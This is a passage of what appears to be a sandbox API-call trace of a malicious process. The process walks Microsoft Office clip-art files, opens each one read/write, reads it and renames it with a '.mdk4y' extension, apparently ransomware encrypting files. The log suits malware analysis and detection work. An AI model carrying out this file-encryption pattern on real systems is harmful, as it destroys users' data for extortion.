out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x632, lpOverlapped=0x0) returned 1 [0180.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825568800000) returned 1 [0180.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825568800000) returned 1 [0180.458] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.mdk4y")) returned 1 [0180.459] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.459] AreFileApisANSI () returned 1 [0180.459] GetACP () returned 0x4e4 [0180.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0222019.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0222019.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.459] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825568900000) returned 1 [0180.459] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x58e, lpOverlapped=0x0) returned 1 [0180.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825571000000) returned 1 [0180.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825571000000) returned 1 [0180.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.mdk4y")) returned 1 [0180.481] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.481] AreFileApisANSI () returned 1 [0180.481] GetACP () returned 0x4e4 [0180.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0222021.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0222021.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.481] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825571300000) returned 1 [0180.483] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c6, lpOverlapped=0x0) returned 1 [0180.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825573900000) returned 1 [0180.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825573900000) returned 1 [0180.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.mdk4y")) returned 1 [0180.510] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.510] AreFileApisANSI () returned 1 [0180.510] GetACP () returned 0x4e4 [0180.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0229385.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0229385.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.511] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574200000) returned 1 [0180.512] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf5c, lpOverlapped=0x0) returned 1 [0180.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574400000) returned 1 [0180.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574400000) returned 1 [0180.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.mdk4y")) returned 1 [0180.515] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.515] AreFileApisANSI () returned 1 [0180.515] GetACP () returned 0x4e4 [0180.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0229389.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0229389.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.515] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574500000) returned 1 [0180.515] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xee0, lpOverlapped=0x0) returned 1 [0180.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574600000) returned 1 [0180.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574600000) returned 1 [0180.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.mdk4y")) returned 1 [0180.517] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.517] AreFileApisANSI () returned 1 [0180.517] GetACP () returned 0x4e4 [0180.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0230876.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0230876.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.517] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825574800000) returned 1 [0180.518] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30da, lpOverlapped=0x0) returned 1 [0180.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825577600000) returned 1 [0180.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825577600000) returned 1 [0180.546] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.mdk4y")) returned 1 [0180.547] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.547] AreFileApisANSI () returned 1 [0180.547] GetACP () returned 0x4e4 [0180.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0233018.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0233018.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.547] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825577800000) returned 1 [0180.548] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x77f0, lpOverlapped=0x0) returned 1 [0180.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825579000000) returned 1 [0180.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825579000000) returned 1 [0180.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.mdk4y")) returned 1 [0180.562] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.562] AreFileApisANSI () returned 1 [0180.562] GetACP () returned 0x4e4 [0180.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0233070.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0233070.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.562] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825579300000) returned 1 [0180.563] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1522, lpOverlapped=0x0) returned 1 [0180.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825580700000) returned 1 [0180.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825580700000) returned 1 [0180.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.mdk4y")) returned 1 [0180.578] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.578] AreFileApisANSI () returned 1 [0180.578] GetACP () returned 0x4e4 [0180.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0233312.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0233312.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.578] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825580800000) returned 1 [0180.578] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x80f8, lpOverlapped=0x0) returned 1 [0180.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825582800000) returned 1 [0180.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825582800000) returned 1 [0180.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.mdk4y")) returned 1 [0180.599] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.599] AreFileApisANSI () returned 1 [0180.599] GetACP () returned 0x4e4 [0180.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234131.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234131.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.599] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583000000) returned 1 [0180.600] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6632, lpOverlapped=0x0) returned 1 [0180.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583400000) returned 1 [0180.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583400000) returned 1 [0180.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.mdk4y")) returned 1 [0180.605] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.605] AreFileApisANSI () returned 1 [0180.605] GetACP () returned 0x4e4 [0180.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234266.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234266.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.605] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.606] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583600000) returned 1 [0180.606] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa87e, lpOverlapped=0x0) returned 1 [0180.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583700000) returned 1 [0180.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583700000) returned 1 [0180.608] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.mdk4y")) returned 1 [0180.608] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.608] AreFileApisANSI () returned 1 [0180.608] GetACP () returned 0x4e4 [0180.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234657.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234657.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825583900000) returned 1 [0180.609] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27ee, lpOverlapped=0x0) returned 1 [0180.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825585000000) returned 1 [0180.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825585000000) returned 1 [0180.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.mdk4y")) returned 1 [0180.622] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.622] AreFileApisANSI () returned 1 [0180.622] GetACP () returned 0x4e4 [0180.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0234687.GIF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0234687.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825585300000) returned 1 [0180.623] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd4f, lpOverlapped=0x0) returned 1 [0180.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825585600000) returned 1 [0180.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825585600000) returned 1 [0180.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.mdk4y")) returned 1 [0180.627] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.627] AreFileApisANSI () returned 1 [0180.627] GetACP () returned 0x4e4 [0180.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0235241.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0235241.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825585800000) returned 1 [0180.628] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1820, lpOverlapped=0x0) returned 1 [0180.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825590200000) returned 1 [0180.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825590200000) returned 1 [0180.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.mdk4y")) returned 1 [0180.674] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.674] AreFileApisANSI () returned 1 [0180.674] GetACP () returned 0x4e4 [0180.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0235319.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0235319.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.674] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825590500000) returned 1 [0180.675] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa24, lpOverlapped=0x0) returned 1 [0180.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825591100000) returned 1 [0180.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825591100000) returned 1 [0180.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="C:\\Program 